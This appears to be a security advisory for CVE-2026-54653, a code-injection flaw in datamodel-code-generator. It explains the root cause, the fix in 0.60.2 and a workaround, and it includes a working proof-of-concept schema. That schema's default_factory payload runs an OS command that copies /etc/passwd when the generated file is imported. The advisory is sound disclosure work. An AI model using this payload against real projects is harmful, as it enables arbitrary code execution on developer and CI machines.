CVE-2026-54653: datamodel-code-generator Code Injection via default_factory Schema Field
An attacker who controls a JSON Schema, OpenAPI, or YAML file can plant arbitrary Python code inside the generated models, which then runs automatically when the output file is imported.

The problem
datamodel-code-generator passes the value of the default_factory key from an input schema straight into generated Python source code without quoting or validation. It appears literally as Field(default_factory=<attacker value>) in the output.
Because Python evaluates that expression at class-definition time, the payload executes the moment a developer (or a CI job) does import on the generated file. No special CLI flags are required; the default invocation is enough.
Proof of concept
A working proof-of-concept for CVE-2026-54653 in datamodel-code-generator, with the exact payload below.
# malicious.json - supply to datamodel-codegen as a JSON Schema
{
"$schema": "http://json-schema.org/draft-07/schema#",
"title": "Exploit",
"type": "object",
"properties": {
"data": {
"type": "array",
"default_factory": "__import__('os').system('cp /etc/passwd /tmp/pwned')"
}
}
}
# Generate the model (pydantic_v2 is the default output type):
# datamodel-codegen --input malicious.json --input-file-type jsonschema --output model.py
#
# The generator writes this into model.py:
#
# data: list = Field(default_factory=__import__('os').system('cp /etc/passwd /tmp/pwned'))
#
# Importing model.py executes the OS call immediately.
# import model # <- triggers RCEThe root cause is in three sink locations (pydantic_base.py:222-249, dataclass.py:211, msgspec.py:361). Each one inserts the raw schema string into the generated source with an explicit special-case that skips repr() for default_factory, meaning no escaping is applied at any sink.
The schema key default_factory is listed in DEFAULT_FIELD_KEYS, so the parser treats it as a known field extra and carries it all the way to code generation without any validation.
The fix in 0.60.2 introduces an allowlist check in get_field_extras: only the literal strings dict, list, and set are accepted as default_factory values. Anything else raises a generator error before any source file is written. CWE-94 (Code Injection) and CWE-1336 (Template Engine Injection) both apply.
The fix
Upgrade to datamodel-code-generator 0.60.2 or later. If an immediate upgrade is not possible, pass --output-model-type typing.TypedDict; TypedDict output does not render Field() calls and silently drops default_factory, so it is not affected. All other output model types (pydantic_v2.BaseModel, dataclasses.dataclass, msgspec.Struct) remain vulnerable on older versions.
Reported by Hamza Haroon (thegr1ffyn).
Related research
- high · 7.8CVE-2026-54654CVE-2026-54654: datamodel-code-generator Code Injection via Carriage Return in --extra-template-data comment
- high · 7.8CVE-2026-54655CVE-2026-54655: datamodel-code-generator Code Injection via x-python-type
- high · 7.5CVE-2026-55415CVE-2026-55415: datamodel-code-generator Code Injection via x-python-import and customTypePath
- high · 8.2CVE-2026-54691CVE-2026-54691: datamodel-code-generator SSRF via --url